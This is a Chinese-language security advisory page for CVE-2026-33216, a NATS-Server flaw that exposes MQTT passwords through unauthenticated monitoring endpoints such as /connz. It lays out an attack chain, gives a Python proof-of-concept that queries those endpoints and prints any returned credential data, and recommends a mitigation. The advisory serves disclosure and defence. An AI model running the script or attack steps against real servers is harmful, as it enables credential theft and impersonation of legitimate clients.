IPBUF安全漏洞报告
English
CVE-2026-33216 CVSS 8.6 高危

CVE-2026-33216 NATS Server MQTT密码泄露漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33216
漏洞类型
信息泄露
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NATS-Server

相关标签

信息泄露NATSMQTTCWE-200密码泄露监控端点

漏洞概述

NATS-Server是NATS.io的高性能消息系统服务器。在2.11.15和2.12.6版本之前,该产品存在严重的信息泄露漏洞。具体而言,当部署使用用户名/密码认证的MQTT服务时,系统错误地将MQTT密码归类为非认证身份声明(JWT)。这种错误分类导致敏感密码通过服务器的监控端点被意外暴露。由于攻击向量无需用户交互且无需身份认证,远程攻击者可直接访问监控接口获取这些凭据,进而威胁系统安全。官方建议尽快升级修复,并确保监控端点不暴露在不可信网络中。

技术细节

该漏洞源于NATS-Server内部对不同认证凭证类型的处理逻辑缺陷。在受影响版本中,当客户端通过MQTT协议连接并提交密码时,服务器端代码错误地将其归类为“非认证身份声明(JWT)”。在NATS的架构设计中,JWT通常被视为不包含敏感机密信息的元数据,因此可以在调试和监控端点(如/connz)中明文显示。然而,MQTT密码属于高敏感凭证。由于这种类型混淆,当监控端点被访问时,服务器会将本应保密的密码作为普通身份信息输出。攻击者利用无需认证的监控端点(PR:N),通过简单的HTTP请求即可遍历当前活跃的MQTT连接,从而获取到所有连接客户端的明文密码,进而接管这些客户端的权限。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标网络,寻找开启NATS-Server监控端口(默认为8222)的主机。
STEP 2
步骤2:访问监控端点
攻击者向发现的监控端点(如/connz或/varz)发送无需认证的HTTP GET请求。
STEP 3
步骤3:提取凭据
服务器返回包含连接状态的JSON数据,攻击者解析数据并提取其中被错误标记为JWT的MQTT明文密码。
STEP 4
步骤4:权限提升
攻击者使用获取到的MQTT客户端密码,冒充合法客户端连接到消息系统进行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # PoC for CVE-2026-33216: NATS-Server MQTT Password Leak # This script attempts to retrieve MQTT passwords from the monitoring endpoint. def check_vulnerability(target_url): # Common monitoring endpoints for NATS endpoints = ["/varz", "/connz", "/routez", "/gatewayz"] print(f"[*] Checking target: {target_url}") for endpoint in endpoints: try: url = f"{target_url.rstrip('/')}{endpoint}" # Send request without authentication (PR:N) response = requests.get(url, timeout=5) if response.status_code == 200: data = response.text # Check for presence of MQTT related data and potential password leaks # In vulnerable versions, passwords might appear in 'jwt' or user fields if "mqtt" in data.lower(): print(f"[+] Potential MQTT data found at {url}") print("[!] Review the following output for exposed passwords:") print(data[:500]) # Print snippet for analysis return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerable endpoints exposed or no MQTT data found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target:port>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

影响范围

NATS-Server < 2.11.15
NATS-Server < 2.12.6

防御指南

临时缓解措施
作为临时缓解措施,请确保监控端点得到充分保护,不要将其暴露给互联网或其他不受信任的网络用户。最佳实践是完全禁止将监控端点暴露给外部网络。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表